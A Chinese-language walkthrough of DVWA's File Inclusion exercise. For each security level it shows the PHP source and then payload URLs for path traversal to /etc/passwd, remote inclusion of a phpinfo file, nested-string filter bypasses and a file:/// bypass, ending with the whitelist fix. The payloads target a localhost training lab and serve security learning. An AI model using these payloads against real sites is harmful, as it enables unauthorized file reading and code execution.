1. 程式人生 > 實用技巧 >DVWA靶場——File Inclusion(檔案包含)

DVWA靶場——File Inclusion(檔案包含)

概述

在 Web 後臺開發中,程式設計師往往為了提高效率以及讓程式碼看起來更加簡潔,會使用 “包含” 函式功能。比如把一系列功能函式都寫進 function.php 中,之後當某個檔案需要呼叫的時候直接在檔案頭中寫上一句 <?php include function.php?>就可以呼叫函式程式碼。

但有些時候,因為網站功能需求,會讓前端使用者選擇需要包含的檔案(或者在前端的功能中使用了“包含”功能),又由於開發人員沒有對要包含的這個檔案進行安全考慮,就導致攻擊者可以通過修改檔案的位置來讓後臺執行任意檔案(程式碼)。這種情況稱為“檔案包含漏洞”。

檔案包含漏洞有“本地檔案包含漏洞”和“遠端檔案包含漏洞

”兩種。

low級別

原始碼:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

可以看出,low級別什麼安全措施都沒有做,可以進行任意程式碼執行!

本地檔案包含

我們可以通過在URL中執行"../"根目錄跳轉方式,獲取伺服器上的資訊,填寫多個"../"可以直接跳轉到根目錄(注:伺服器系統不同,payload也會不同,但都可以通過根目錄跳轉方式獲取資訊

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../../../etc/passwd

執行URL後瀏覽器介面會顯示伺服器的資訊

遠端檔案包含

當伺服器的php配置中,選項allow_url_fopenallow_url_include為開啟狀態時,伺服器會允許包含遠端伺服器上的檔案,如果對檔案來源沒有檢查的話,就容易導致任意遠端程式碼執行。

上傳一個檔案到伺服器上,這個檔案可以獲取伺服器的IP地址和PHP的資訊

然後構造一個URL

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.txt

執行這個URL後,可以獲取到想要的資訊

Medium級別

原始碼:

<?php

// The page we wish to display
$file
= $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>

從原始碼中,可以看出,它把“http://”、“https://”、“../”、“..\”這些替換為了空白符,也就是刪除,不可用了。

本地檔案包含

使用low級別的跳轉方式是不行的,因為他已經限制了使用“../”,我們可以利用原始碼中限制路徑符號使用的漏洞來獲取我們想要的資訊。

因為它會把“../”刪除掉,而“..././”這個符號會因為其中的“../”被刪除,就會變成"../",我們可以通過這種方式來構造payload實現繞過

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././etc/passwd

因為它只限定URL相對路徑,所以它的絕對路徑是不受影響的,比如Windows系統的絕對路徑C:/xampp/htdocs/dvwa/php.iniLinux系統的/var/www/html/dvwa/php.ini,這些絕對路徑都是可以使用的!

遠端檔案包含

使用low級別的方法也是不行的,我們可以像本地檔案包含的方法一樣,利用它替換的漏洞來構造payload實現繞過,“hthttp://tp://”被刪除後就會變成“http://

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/phpinfo.txt

檔案執行成功

High級別

原始碼:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

從原始碼可以看出,它使用了fnmatch函式,規定page引數的值開頭必須是file,才會允許去包含相應的檔案。

這樣設定,看似安全,其實我們是可以利用file協議來繞過它的防護策略

file協議就是在URL中輸入file:///+檔案的絕對路徑,瀏覽器就會開啟本地檔案

我們可以儲存一個檔案在本地,然後通過瀏覽器開啟這個檔案

接下來可以通過這個檔案的URL來構造一個payload

127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///var/www/html/phpinfo.txt

payload執行成功

Impossible級別

原始碼:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

從原始碼中,可以看出,它使用了白名單防護的機制,page的值必須為“include.php、file1.php、file2.php、file3.php”這幾個檔案,徹底杜絕了檔案包含漏洞!